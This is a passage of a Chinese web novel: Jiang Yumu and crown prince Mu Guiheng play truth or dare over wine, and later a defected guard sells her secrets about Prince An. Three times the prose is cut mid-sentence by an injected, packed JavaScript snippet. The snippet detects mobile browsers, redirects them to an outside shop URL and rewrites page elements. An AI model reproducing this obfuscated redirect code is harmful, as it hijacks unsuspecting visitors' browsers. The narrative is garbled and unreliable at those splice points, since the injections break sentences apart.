旺财下意识觉得不妙,急忙跳开几步,缩进江御暮怀里,一被她搂住就不挪窝了,好像也想参与他们的酒桌游戏。 穆归衡原想着玩点简单的行酒令,助助兴即可,江御暮却嫌这主意无聊,另提了个他闻所未闻的点子。 “真心话,大冒险?”穆归衡反应了片刻,“是你们那个时代的游戏?” “没错。”江御暮简略给他讲清了规则,“玩不玩?” 穆归衡想了想,确实比行酒令有趣不少。 “嗯,开始吧。” 江御暮从发间取下一根木簪,放在桌上旋转起来。木簪将停未停时,被好奇心发作的旺财一掌按住,簪头不偏不倚,恰好指向了穆归衡。 江御暮失笑:“天意如此,这可怨不得旁人了。” 穆归衡对上旺财单纯又无辜的眼神,无可奈何道:“我倒想怨它。这家伙,什么都不懂。” 江御暮轻敲桌面,催促道:“你选什么,真心话还是大冒险?” “真心话。”穆归衡不假思索,他喜欢与她多聊聊天。 江御暮直视着他的双眼,微微向前靠近,还没发问就引得他心里一阵紧张。 下一刻,她便柔声问出了一个他难以回答的问题。 “穆归衡,你骗过我吗?” 二人目光相接之际,他猛然想起自己身上的蛊纹。 “我……” 后半句话卡在喉咙里,连他自己也没想好应该怎么往下说。 索性…… “我认罚。” 不说就是了。 语毕,穆归衡按照规则将一杯酒一饮而尽。再去寻找江御暮的双眼时,她已经换上了玩味的目光。 “太子殿下。”这称呼听来有些阴阳怪气,“你有没有想过,为了不回答问题而喝下这杯罚酒,本身也是一种回答。” 说着,她又向他靠近几分,近距离观察着他眼中的失措。 “穆归衡,你骗过我。” “我——” “不用解释。”她的手指按上他的双唇,“你便不说,我也知道你骗了我什么。” 穆归衡睫毛一颤,已然暴露了几分心虚,却还强装镇定,祈盼她只是在诈自己,于是试探着轻声问了句:“什么?” 江御暮微微一笑,似乎十分笃定。 “飞鸿影为了保命,曾在我身上下蛊,这你是知道的。” “可是没过多久,我却发现自己身上的蛊纹消失得干干净净,仿佛从来没有出现过。” “我不知这种变化是福是祸,便上门拜访了国师,请她为我解惑。” 听到这里,穆归衡终于显出几分慌乱:“飞鸿影跟你说什么了?” “她说……”江御暮故意拖长了等待的时间,“你曾亲自出面,请她为我解蛊。为此,甚至不惜赠她黄金万两。” 穆归衡听完前半句,已经提前躲开了她的目光,整颗心亦高高悬起。却没想到后半句话锋一转,又把他的心拽回了地面。 黄金万两?飞鸿影还真敢说。不过……还算仗义,没把穆归衡给卖了。 江御暮敏锐捕捉到他悄悄松一口气的样子,却没有戳穿。黄金有价,人命无价,她欠不起他这样的情。之所以把话说到这一层,也是为了最大限度地圆好这个谎。 毕竟在穆归衡的视角下,江御暮并不知道她身上的蛊纹为何会消失。依她的性子,若不主动查清此事,反而有些可疑了。 “我若没有猜错,你当日编出系统任务的借口,骗走了我一缕头发,就是供飞鸿影解蛊之用,对不对?” “嗯。”穆归衡点点头,爽快地承认了这个细节。 至于背后更深的“真相”,他希望能永远隐瞒下去。 这不仅是因为怕江御暮为他担心,更重要的是——穆归衡虽是情窦初开,无甚经验,却并非无知无感的傻子。他能察觉到,直至今日,江御暮对他的感情依然远远算不上“爱”。若想得乐观些,她对他或许有点喜欢;若说得残酷些,她对他或许只有“同为异世客”的知己之情。 有时候,他甚至会产生一种错觉,仿佛她的笑容并非发自真心。 也许……那不是错觉。她对他笑,起初因为他是太子,她不得不礼敬三分。那后来呢,又是因为什么? 因为他们是朋友? 还是因为……他是她认准的救命稻草,是唯一能帮她摆脱宁问归的人? 想得越多,穆归衡便愈发患得患失。在太多的不确定中,他只确定一件事——他希望江御暮爱他,却不愿用难以报偿的恩情逼她爱他。 比起“不得不爱”之爱,他宁肯只保留她发自真心的一点喜欢。至少那是真的,如果存在的话。 想到这里,他不免又在心里责怪费红英:说什么黄金万两!反正都是假的,说个一二百两意思意思就得了! 果不其然,他承认以后,江御暮旋即面露忧色,撑着下巴半趴在桌上:“万两黄金,就是把我、我爹、我弟打包卖了也还不起啊。” 穆归衡忍不住摸了摸她的头发,安慰道:“其实没有那么多……而且,谁说要你还了?” 江御暮抓住他的手,把他往自己这边拉了拉。穆归衡会意,马上俯下身,侧过脸,把耳朵凑了过去。 “不对。”江御暮的声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13729222|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 音带着浅浅的笑意。 “嗯?”穆归衡将脸转回去看她,想问问怎么个不对法。 然而他还没顾得上开口,就被她突如其来的轻轻一吻扰乱了心绪。 说是吻,其实更像触碰,像试探。 试探的结果便是穆归衡愣在原地,耳尖不自知地红了起来,心里却打着鼓—— 她亲我了。 是因为对我多了一点点喜欢? 还是……为了还人情? 江御暮没有给他留出太多的思考时间,很快就推他坐回了原位。 “游戏继续。” 发簪再次转动,旺财的爪子又跃跃欲试起来,江御暮拦了两次,第三次没拦住,还是让它得逞了。 这次旺财并未按住发簪,只是在簪头即将指着江御暮停下时,一爪拍得它再转半圈,又指向了穆归衡。 穆归衡无奈一叹:“旺财,你是不是故意的啊?还记恨我方才用酒吓唬你呢?” 江御暮护着旺财,笑道:“愿赌服输,快选吧。” 穆归衡犹豫了片刻:“还选真心话。” “嗯——”江御暮托着腮想了许久,突然把目光转向他,“遇到我之前,包括上辈子,你还有其他心仪的女子吗?” “没有。”穆归衡立即答道。 “真的假的?”江御暮有点不敢相信。 穆归衡唇角微微牵起,似乎很高兴她关心这些。 “当然是真的。” 说完怕她不信,又长篇大论地解释起来。 “上辈子前十六年,我都跟着师父习武,身边只有师兄弟,唯一的女子就是师娘。于我而言,她与亲娘无异。” “师娘去世后,师父无心传道授业,把一众徒弟全都打发走了。我便是从那时开始浪迹天涯,四处旅居。” “别用那种眼神看我嘛,其实一点都不惨啊,师父给的盘缠不少呢。我一路上还接了不少送人护镖的活计,从来不缺钱花的。” “这样的日子又过了几年。一来我年纪尚轻,二来总是漂泊不定,三来不曾遇上心仪之人,所以从未想过成家之事。” “后来啊?后来边境起了战事,和契丹人打。我……嗐,不提也罢。” “嗯,战死那年十九岁。” “同袍们都以为我二十二呢,哈哈,我骗他们的。” “不过,要是当初能再撑四天,我就活过二十岁了。” “这辈子情况更复杂些,被个不知是神是鬼的系统缠上了,你也知道的。除你以外,我几乎就不认识什么女子,更别提心仪之人了。” 说完这些,他牵住她的手,郑重问道:“你可信我?” 江御暮与他十指相扣,重重点头道:“我信你。” 旺财不甘被冷落,也把爪子搭在他们的手上,引来一阵笑声,恰好冲淡了方才的沉重气氛。 “游戏继续。” 这次由穆归衡转动发簪,旺财捣乱已是常态,爪子一伸就拍得发簪大幅减速,簪头左晃右晃,摇摆着停在了江御暮面前。 “风水轮流转呐。”穆归衡笑叹。 江御暮不惧什么,扬眉道:“我也选真心话。” 正中穆归衡下怀。 “还是一样的问题。”他目不转睛地盯着她的双眸,“过去这些年,你有过心仪的男子吗?” 70. 痴情人岂为旧人恼,玲珑心难拒真…… 听到这个问题,江御暮下意识握紧了手中的酒杯。 穆归衡垂眸一扫,目光定在杯中泛起的涟漪,不无醋意道:“看来是有的。” 江御暮没有否认,端起酒杯一饮而尽。 穆归衡现学现卖,用她自己的话来揶揄她:“你不是说,这样本身也是一种回答吗?与其认罚喝酒,还不如直接承认了呢。” 江御暮拿起酒壶,又给自己续上一杯,舔了舔唇道:“嗯,没不承认。就是有点渴,喝两口。” 她也不知道自己在心虚什么,明明不是真的在谈恋爱,却好像忽然梦回大学时代,被现男友追着问初恋二三事的时候。 穆归衡眸中的落寞一闪而过,也许是藏起来了,也许是想明白了。 有过又如何?至少现在,只有他能陪在她身边。 话虽如此,他总归还是抑不住好奇心。 “有过几个?” 江御暮放下酒壶,冲他笑道:“这已经是第二个问题了,等你有机会再问吧。” 穆归衡也不急于一时,伸手便去转桌上的发簪。旺财大约是察觉了气氛不对,这次没敢掺和,跑到一边睡觉去了。 发簪转得不算快,但是许久才停住。 “现在有机会了。”穆归衡的笑容显得有些幸灾乐祸,“你打算回答刚才的问题,还是继续喝酒?” 江御暮仿佛经不得激将,哼了一声道:“答就答。” 其实她也有点好奇,都说古人封建保守,不知穆归衡对她的情史能有几分容忍度。 反正赐婚圣旨已经昭告天下,就算他现在反悔也无济于事。江御暮纵然小作一回,也不会乱了大局。 于是她向前伸出两根手指,在穆归衡的脸上刮了一下。 “两个?”他抓住她的手,似乎没有打算放开的意思。 江御暮轻轻点了一下头,目光仍与他紧紧相接:“你好像有话想说。” “嗯。”穆归衡在她的注视下喝了杯酒,告诫自己不要心急,“等我有机会再问吧,已经是下一个问题了。” 语毕,他再次转动发簪。不知该说他幸运,还是该说江御暮倒霉,总之—— “你的机会来得也太快了。”江御暮嘟囔道,“问吧。” 穆归衡低下头无声一笑,继而抬眼看了看她,目光却似不敢久留,匆匆移开后才问:“那两个人……你都喜欢他们什么啊?” 江御暮仔细回忆了许久,轻叹道:“都是上辈子的事了,我也记不太清,脑子里只剩几个细节,连来龙去脉都拼凑不全。” 穆归衡却抓到了别的重点:“这辈子没有吗?” 江御暮怔了怔,似乎刚从更深的回忆里抽离,漫不经心道:“不是一个世界的人,很难喜欢上吧……这个世界的男人,三妻四妾都是寻常,我可受不了。” 穆归衡心中微动——他和她算不算一个世界的人? 按理说,应该是算的。可他们之间毕竟隔着一千三百多年的距离,许多事都有着翻天覆地的变化。 “我不会纳妾的。” 一句真诚的保证换来她一个微笑。 “别光顾着笑。”穆归衡捏了捏江御暮的手,“我方才的问题,你还没回答呢。” 江御暮深吸一口气,目光虚虚落在窗外。 “那就先说第一个人吧。” 她的初恋。 “他是我的高中同学。呃,就是学堂里的同窗。同届入学,三年后一起参加大……太学选拔考试的那种。” “我喜欢他的原因,和我的名字有关。” 穆归衡好奇道:“你说过,你不喜欢自己上辈子的名字。”她提过的事,他都记得。 江御暮点点头:“所以我给自己改了一个名字,让大家都这样叫我。可惜事与愿违,大家都说我这是在胡闹,因为归根结底,我的户籍、档案、一切资料上都写着那个旧名字,我自己无权更改。” 她顿了顿,嘴角泛起一点怀念的微笑。 “只有他愿意配合我,从来没有叫过那个让我讨厌的名字。即便后来我们分开得并不愉快,这一点也没有改变过。” 穆归衡听得认真,不知不觉问出了一句:“你们为何分开?” 江御暮沉默片刻,答道:“记不清了,应该和我的家庭有关吧。” 穆归衡没有追问,他知道,她上辈子有一对可怖如蚂蟥的父母。 为免引她难过,穆归衡转而问起:“第二个人呢?” “他啊——”江御暮拖着长音,不知是在回忆,还是在组织语言,半晌才蹦出来一句,“没什么特别的,就是长得好看。” 穆归衡没想到她会给出这样一个答案,诧异道:“仅此而已?” “仅此而已。”江御暮坦然承认,“我这人确实挺肤浅的。” “那我呢?”穆归衡似是突然有了胜负欲,“和他比,谁更好看?” 江御暮没有多加思索,戳一戳他的脸道:“虽然我已经记不清他的长相了,但是平心而论,应该很难有人比你更好看吧?” 穆归衡不肯轻易露了喜色,别别扭扭道:“怕我吃醋,哄我啊?” 江御暮把问题反抛回去:“那你吃醋了吗?” 穆归衡垂眸望向桌上的发簪:“这又是下一个问题了,等你有机会再问吧。” 可是等转动的发簪把机会送到江御暮面前,她正欲发问时,穆归衡却出其不意道:“这次,我选大冒险。” 江御暮撇了撇嘴:“你成心不想让我问吧?” 穆归衡避重就轻:“也是因为好奇。玩了这么久,还没试过另一种玩法呢。不知你打算给我出什么难题?” 江御暮拿起酒壶晃了晃,里面还有大半壶酒。 “难题就是——”她把酒壶推到他面前,“把这壶酒喝完。” 穆归衡打开壶盖瞥了一眼,问道:“你这是琢磨着把我灌醉,好让我酒后吐真言呢?” 江御暮挑了挑眉:“怎么,不敢了?” 穆归衡笑而不语,端起酒壶一饮而尽,末了还把酒壶倒过来展示给她看:“一滴不剩。” 江御暮似捧场又似打趣:“嗯,潇洒。” 不过,潇洒也是有代价的。 穆归衡喝得太急,酒意后知后觉,从鼻腔直直往头顶冲去。他用力闭了闭眼,再睁开时,桌上的发簪已经开始转动,不知是转得太快还是什么缘故,簪上嵌着的那颗夜明珠甚至生出了虚影。 待他的视野重新清晰起来,江御暮已经开了口。 “又是我啊。”她托着下巴看向他,“我也选大冒险,你来出题吧。” 穆归衡脑袋有点晕,慢吞吞挪动位置去她身边坐好。 “我出题……” 头好重,总觉得一直在往下坠。 也不知怎的,他就靠上了江御暮的肩膀,只能用力抬起目光看向她。 “亲一下,可以吗?”抬头时,穆归衡无意识地蹭了蹭她的颈窝。 江御暮微微一愣,继而伸手捂住他晶亮的双眸,在心里暗骂自己肤浅。 但她表面依然不显山不露水,还与他谈起条件来:“可以是可以,但你得先乖乖回答我一个问题。” 突然变黑的视野让穆归衡有些不安,他搂住她的腰,不满道:“大冒险还可以提条件的吗?” 江御暮不容置疑道:“我说可以就可以。” “好吧。”他总是说不过她,“我吃醋了。” 江御暮反应了一瞬才想起来,穆归衡这是在回答自己刚才没有得到答案的问题。 她不由失笑:“我现在没想问这个。” 一壶酒害得穆归衡有些迟钝,半晌才答:“那你重新问。” 江御暮放下蒙住他眼睛的手,偏过头去与他目光相接,轻声问道:“你是何时对我动心的呀?” 她没有即刻得到答案,只听到穆归衡的一声轻笑。 紧接着,她的手被穆归衡摸索着握住,牵动,最后按在他心脏的位置。 “它在很多时候,为你动过很多次,你问哪一次?” 江御暮感受着他有力的心跳,问:“第一次。” 穆归衡将自己的手覆在她的手上:“你先猜猜。猜不中,我再告 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13733210|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 诉你。” 江御暮的第一反应便是:“湖心诗会那日,因为我亲了你?” 穆归衡用力摇摇头:“不,比那更早。” 江御暮又猜:“难道是窃玉偷香那日?” 穆归衡还是摇头:“更早。” 还能早到哪去?江御暮有些摸不着头脑了。 穆归衡低低笑了一声:“就知道你猜不中。”听来有几分自嘲意味。 “我第一对你动心,是因为那句……” 他坐直身子,与江御暮面对面,模仿着记忆中她的语气和表情。 “公子是武周人?” 见江御暮面露疑惑,他又解释起来。 “一开始,我只是很惊讶,原来你和我并非同一代人。但是幸好,你知道大周,咱们姑且还算是同乡。” “下一刻,我又觉得你好聪明,竟能通过我的只言片语做出如此精准的推论。” “还有……还有你唤我‘公子’。我不想做太子,只有你这样唤我……” 说到最后,他醉意渐显,讲话似乎也失了逻辑。 江御暮帮他理了理鬓边被蹭乱的碎发,慨叹道:“只是这样,便足以让你动心么?” “不知道,我也不知道。” 穆归衡再次抓起她的手,往自己心口按去。 “你帮我问问它,为什么?为什么……” 江御暮反握住他的手,追问道:“我还想听听,你动心的其他理由。” 穆归衡只觉脑袋又沉了几分,下意识往她肩上靠去,一边回忆一边答话道:“有一次,的确是在湖心诗会那日。” “意外发现刘俭的尸体时,我本想帮你遮眼,却见你不但不怕,反而还仔细张望起来,当真胆大。” “周围的士子们在惊惧之下哇哇乱叫,吵得人头痛。我还没来得及让他们闭嘴,你就先扔去一个不悦的眼神,他们居然都噤声了。” “后来我还听士子们议论,说江小姐平日看着温温柔柔,如今与太子待久了,竟也学来了他的三分戾气。” “其实,我哪有对你这么凶过……”穆归衡似乎有些委屈,双手捧起她的脸,“御暮,你分明是无师自通。” 江御暮已经不太记得他描述的场景了,更不知道他还曾注意过自己当时的眼神。看来,她温柔和善的伪装还不够天衣无缝。谁知,竟无心插柳了? “我那么凶,你还动心?”她问。 穆归衡笑着点了点头:“你凶的是他们,又不是我。” “什么歪理?”江御暮故意蹙起眉头,摆出一张冷脸,“我若也这样凶你呢?” 穆归衡努力收起笑容,唇角压下去了,眼中的笑意却难以散尽。 “那也很好啊。”他的语速被醉意拖慢,“那样,更像真实的你。” “真实?”一听到这个词,江御暮便警惕起来,唯恐他对自己身后的秘密有所了解。 穆归衡双眼朦胧,对她的情绪变化毫无察觉,继续往下说道:“比武招亲那几日,我好像才第一次看见真实的你。” “原本还有许多事想不通,直到你说,是令尊让你在我面前扮演娇弱女子,才解开了我的疑惑。嗯,都说得通了。” “可是,御暮。”他倾身向前,与她额头相贴,呼吸交缠,“我好像……更喜欢真实的你。” “别装了,好不好?”说完,他还轻声嘟囔一句,“我都替你累得慌。” 江御暮定了定神。 他所知、所求的“真实”尚在可控范围内,还好,只是虚惊一场。 “好,我不装。”她暂且答应下来。 穆归衡弯了弯唇角,继而得寸进尺起来。 “那么,真实的你,能不能给我一个真实的答案?” “什么答案?”她问。 穆归衡沉默片刻,决定闭上双眼。好像生怕在她开口之前,便通过她或错愕、或歉疚的表情得到否定的答案。 “御暮。” 他深吸一口气,又缓缓吐出,颤抖的睫毛将他的紧张尽数暴露。 “你有对我动过心吗?” 71. 唐突客涉险入江府,无名人求银赴…… 江御暮对穆归衡动过心吗? 她愿意承认,有过两次。但这两次都不能告诉他。 第一次,是她看着费红英一针一针在他腰后刺下墨纹的时候。 彼时江御暮曾轻声感叹,近乎自言自语:“好歹也做了这些年的太子,怎么如此好骗?” 费红英动作不停,低笑道:“换一个人,未必骗得到他。” 江御暮移开目光:“嗯,国师大人骗术精湛。” 费红英斜睨她一眼:“别假装听不懂我在说谁,平白倒赖到我头上了。” 江御暮并非听不出她的弦外之音,之所以不挑明了说出来,只是觉得没趣罢了。 在她看来,穆归衡被骗来英雄救美,救的并不是她,而是她有意塑造出的另一个江御暮。 一个温柔仁善,无辜无害,如解语花般的江御暮。 一个假人。 纵有一点点心动,她也必得尽快斩除这些心思,否则迟早有一日会变成笑话。 遑论在当时的江御暮看来,穆归衡已然与她分道扬镳,此生都不会再有交集。既然如此,又何必保留这点微不足道的情意呢? 因而,江御暮从没想过自己对他会有第二次心动。 直到听见方才那句—— “我好像……更喜欢真实的你。” 人的心总是不愿乖乖听话,为情而动之前,从来不征求主人的许可。 江御暮来不及思考太多,穆归衡的问题便已紧随其后,摆在了她的面前。 “你有对我动过心吗?” 她知道,回答这种问题时绝不能犹豫。 “自然有过,否则怎么会愿意输你一箭?” 穆归衡先是如释重负地一笑,继而张口想要追问,却被江御暮的一个吻堵住了。 她不能让他把“何时何故”的难题问出口。 她的心有点乱,此刻尚不知该怎么回答。 好在,穆归衡也不需要她回答了。 他所求不多,一个吻足以安抚连日来的患得患失。 今日之行,说是为了游湖赏荷,其实谁也无心去赏。 回到府里已经很晚,时异仍然尽职尽责地守着院门。 “今日可有外人来过?”江御暮明知故问。 “回小姐,不曾有。”时异垂首答道,“傍晚时分,少爷倒是来过一趟,问您去不去用饭。卑职禀明了您尚未回府,少爷似乎有些不高兴,但也没多说什么。” “知道了,你去休息吧。”他嘴里吐出来的话,江御暮一向听听就过了,并不往心里去。 路过小池塘时,江御暮往那边瞥了一眼,没有发现任何异常痕迹。 想想也是,她给了他们一整天的时间,若连这些首尾都处理不好,那也太废物了。 行至自己屋前,江御暮推开一扇房门,迈步欲往里进。可她抬起的那只脚却迟迟没有落入屋内,而是在空中猛地顿住,停滞一刹,继而慢慢下落,悄无声息地踩在了门槛上。 不对劲。 她听到了另一个人的呼吸,离她很近,很近。 似乎……就在她刚刚推开的那扇门板之后。 意识到这一点后,江御暮飞速思索起来。 此人是敌是友,有何意图?藏在门边,是不是为了伺机偷袭? 今日与太子出游,江御暮并未随身带着兵器。屋里倒是藏着几把刀剑,奈何都不在门边,她无法即刻取来。 也不知此人是否带着兵器,倘若她赤手空拳与其一战,能否全身而退…… 面对种种未知,江御暮决定先用言语试探,看看对方有何反应。 于是她不再前行,扭头朝着门板方向,仿佛与藏身其后之人面对面,低声问道:“你是何人?” 那人明显呼吸一滞,江御暮甚至怀疑自己还听见了他咽口水的声音。似乎有些不安,也有可能是猛禽扑食之前的预告。 二人僵持片刻,偏厢房门口忽然传来时异的声音。 所谓做贼心虚,大抵如是。 他方才先于江御暮回到自己屋中,就是为了通过门缝观察她的动向。见江御暮一推开门就停滞不前,时异还以为她察觉了屋里的东西被人翻动过。 不应该啊,他想,他行动前分明仔仔细细记下了她屋内物品的位置,翻动后也全部收拾妥当了,难道还留下了什么破绽? 若是如此,他必得第一时间洗清自己的嫌疑。 “小姐,您怎么不进门,出什么事了吗?”时异推门而出,满脸关切。 江御暮还未回应,就听门后那人用极轻的气声喊出:“别告诉他!求、求你了,江小姐……” 听到这句话,江御暮渐渐放松了下来。 这人还真够奇怪的,鬼鬼祟祟藏在她屋里,却好像并不怕被她发现,反而怕被时异发现。 倒是有趣。 “没事。”江御暮冷冷看向时异,“管好你自己的眼睛。” 时异闻言,顿时想起宁问归鲜血淋漓的尸体,不敢再问,忙不迭退回屋内去了。 听到偏厢房的关门声,那人总算松了口气,还不忘说一句:“多谢江小姐。” 这回不是气声,江御暮快速分辨一番,发现那是个全然陌生的声音。 江御暮又问一遍:“你是何人?” 那人沉默片刻,犹豫着开口道:“可否请江小姐进屋详谈?现在这样……太惹眼了。” “惹眼?”江御暮冷笑一声,“时异若敢偷看,我就敢挖了他的眼睛。” “可是——” “你有资格跟我谈条件吗?” 江御暮刻意放高了姿态,想看看他会否被自己激怒。如果他不但不怒,反而还愿意退让,事情就简单许多了。 良久,那人终于再度出声,找的话题却让江御暮有些意外。 “他现在还叫时异啊?既然转投了江小姐门下,您就没打算给他改个名字?” 此话一出,江御暮便咂摸出了几分门道。 若是一般人,可不会知晓穆归礼贴身护卫的姓名,更不会知道他“背叛”原主,转投江府之事。 江御暮隐隐有种预感,也许此人便是曾在荒院中与她交手的安王护卫之一。 “你想说什么?别绕圈子,直言便是。”她饶有兴致道。 那人的呼吸加重了几分:“江小姐还不知道吧,‘时异’这个名字是安王给他取的。他若真的叛了主,怎么可能愿意顶着这个名字活下去呢?” 喔,有点意思。 “所以你给自己改了名字,对吗?”她问。 言外之意便是:你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13737638|136661||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也曾是安王护卫,不过已经因故叛主,对吗? 那人深深吸了口气,承认道:“是。” 紧接着又说:“江小姐,请恕在下不能把姓名告知于您。” 江御暮本也没想打听这些,又问:“你来找我做什么?总不会是想另寻新主,请我牵线搭桥,把你引荐给太子吧?” 那人笑了一声:“在下冒险叛主,自然是为了不再做贵人的走狗,而不是为了换一条更金贵的狗链。” 江御暮勾了勾唇:“好,有种。” 那人继续说:“安王偏狭,对待叛主之人从不轻纵。在下若想躲过追杀,便不能留在京城,唯有远走高飞,才能博得一线生机。只是……在下囊中羞涩,并无多少盘缠。所以才铤而走险,想用几条消息问小姐您换些银子。” 话音落时,江御暮已经走进屋内,关上了房门。 他知道,这便是她同意交易的意思。 “哦,是你。”江御暮看着他的脸说道。 她猜得不错,此人的确在荒院中与她交过手。 他看上去比时异年长不少,应该已经过了三十岁。此时仍作护卫打扮,想是出逃匆忙,来不及换衣裳的缘故? “你要多少银子?”江御暮问。 “在下也不知这些消息值多少银子。”那人低下头,“江小姐看着给吧。” 江御暮去桌边坐下,晃了晃茶壶。里面仍有茶水,不过还是今早泡的,此刻已经凉了,倒也无妨。 她拿出两个瓷杯,用眼神示意那人过来坐下。 那人起初不敢与她同桌而坐,江御暮也不多劝,只道:“狗链子都解了,有什么不敢上桌的?” 那人这才挪动步子,迟疑着坐在她对面。 江御暮把一杯冷茶推到他面前:“说吧。” 那人道了声谢,像喝酒那样端起茶杯仰头喝尽,抹抹嘴道:“第一条消息,其实在下已经说了一半。” 江御暮的手指在茶杯上打圈:“时异仍然效忠于穆归礼。” 那人一愣,苦笑道:“您好像不太惊讶。看来,这条消息是卖不上价了。” “不是只说了一半么?”江御暮道,“另一半,你也说来听听。” 那人点点头,压低声音道:“其实他还有另一个身份,是安王的面首。” “哦?”这倒是江御暮不曾想到的,“既然如此,穆归礼竟还舍得把他扔到江府来?” 那人撇了撇嘴,似有几分鄙夷:“安王喜新厌旧,花着呢。只要是俊朗少年,他几乎见一个爱一个,哪有什么舍不舍得的?” 江御暮垂下目光挑了挑眉,心道:亏得你不是少年,也算逃过一劫。 那人还未结束这个话题,又道:“最近呀,安王好像又对国师有了那么点意思。这也难怪,国师虽然眼盲,却也是个俊秀少年。” 江御暮手指一颤,险些戳进茶水里。 那人话匣大敞:“对了,这和在下要卖的第二条消息还有些关系。” 他正欲详述,却被江御暮抬手打断。 “等等。” “嗯?怎么了,江小姐?” “你方才说,穆归礼对国师有点意思。” 江御暮唇边挂上了一抹他读不懂的笑容。 “是我想的那种意思吗?” 72. 大师兄自证叛旧主,小师弟忍辱求…… “应、应该是吧。”那人对上江御暮玩味的眼神,不禁打起磕巴来。 “何以见得呢?”她问。 “这……我也说不出个一二三来。”那人挠了挠头,“反正就是有这么一种感觉。” “喔。”江御暮眼中似有笑意,“接着说吧,你要卖的第二条消息是什么?” 那人正色道:“国师已经暗中投靠了安王,二人过从甚密,很有可能在共谋争储之事。” 说完,他仔细观察着江御暮的表情。她马上就要做太子妃了,这条消息对她来说应该很有价值吧?他想。 谁知江御暮面不改色,追问道:“是吗,他们都谋划什么了?” 那人一愣,稍显底气不足道:“在下所知甚少,唯一亲眼得见的便是——国师在安王府内大行祭祀之事。” 说完又冷哼一声:“说是祭祀,我看倒也未必。神神叨叨的,谁知他是不是在搞厌胜巫蛊之术!” 江御暮唇角挂着若有似无的笑意:“这条消息,分量可不轻呐。接下来的最后一条,还能比它更重吗?” 那人捏了捏拳头,面色微变道:“最后一条,其实也是在下决意叛主的原因。” “哦?”终于说到江御暮感兴趣的话题了。 那人与她对视一眼,复又低下头,言简意赅道:“安王命在下与其他三名护卫一起,在大婚之日刺杀您与太子殿下。” 江御暮闻言,眸中显出些许诧异:“他喝多了吧?” 区区四个人,想刺杀她和太子,痴人说梦都不会说这种蠢梦。 那人长叹一声,面露不忿道:“小姐有所不知,安王此举并不是为了取您性命。至少现在还不是时候。此次刺杀,为的其实是让时异凭借救驾之功,获得太子殿下的信任,留在太子府内。” 江御暮微微点头。嗯,这样还算说得通。 那人又道:“至于我们四个,刺杀太子,唯有死路一条。为主子尽忠,都是应当应分的。” 说着,他又给自己倒了一杯冷茶,一饮而尽后,本想泄愤般把茶杯重重放在桌上,却在即将发出声响之时停住了手,将杯子捏得越来越紧,仿佛下一刻就会碎裂。 “可是,凭什么?”他咬牙道,“凭什么我们就不能把自己的命当命?” “嗯。”很合时宜的愤怒,江御暮想,“凭什么?” 她从桌面下方的暗格里取出匕首藏在袖中,起身走到那人背后,一手搭上他的肩膀,另一只手用利刃抵住他的喉结。 “你凭什么让我相信你这些话,又凭什么让我相信,你不是穆归礼派来的另一个时异?” 那人浑身肌肉瞬时紧绷起来,仿佛连声音都变得僵硬:“江小姐要在下如何证明?” “很简单。”江御暮用膝盖顶了顶他腰间的佩刀,“这是安王府的兵器吧?” “是。”那人的喉结滚了滚,“这把刀跟了在下很久,不舍得扔。” “好。”江御暮柔声一笑,“你现在就用它杀了时异。杀了他,我就信你今夜所言非虚。” “这……”那人有些犹豫。他毕竟是时异的师兄,从小看着他长大的,多多少少有些感情。 “不肯么?”江御暮总喜欢用最温柔的语气给人施压,“反正你已经叛了主,本来就是要被追杀的,逃亡前杀他手下一员爱将又如何?” 片刻静默。 “除非……你根本就没有叛主。”江御暮用匕首边缘划过他的脖颈,“若是这样,你今夜擅自闯入我的闺房,我便是错手杀了你也合情合理,没人能为你讨回公道。” “好。”那人抽出佩刀,“我这便证明给江小姐看。” 江御暮这才收起匕首,抱着臂目送他走出房门。 那人没有犹豫,直奔时异所在的偏厢房而去。 时异躺在床上,此刻尚未入眠,忽听房门被人踢开,还以为是江御暮起了疑心,来找他算账的。 谁知翻身一看,来者竟是自己的师兄。手提弯刀,明显来者不善。 他本想先说几句话:师兄,你怎么来了?闹出这许多动静,万一被江小姐察觉了,又要给殿下惹麻烦。 谁知“师”字才出口,对方便已提刀砍来,容不得他问个清楚。 求生的本能让时异不再多想,从床边拎起自己的刀匆忙应战。奈何对方已经占了先机,且毫不手软,每一招都杀气森森。 不到十合,时异身上便多了几条深深的伤口,前不久的旧伤也开始渗血。 眼看面前寒光闪闪的刀刃便要向他劈来,千钧一发之际,忽有一把匕首破窗而入,帮时异挡开了对方的杀招。 那人看清了匕首,不由一愣。 下一刻,江御暮便提剑而入,飞身挡在时异身前。 那人不解其意:不是让我来杀他么?她怎么反而护上了? 他不敢多问,后退半步作防御之势,静等江御暮开口。 江御暮表现得却如失忆了一般,厉声道:“你是何人?” 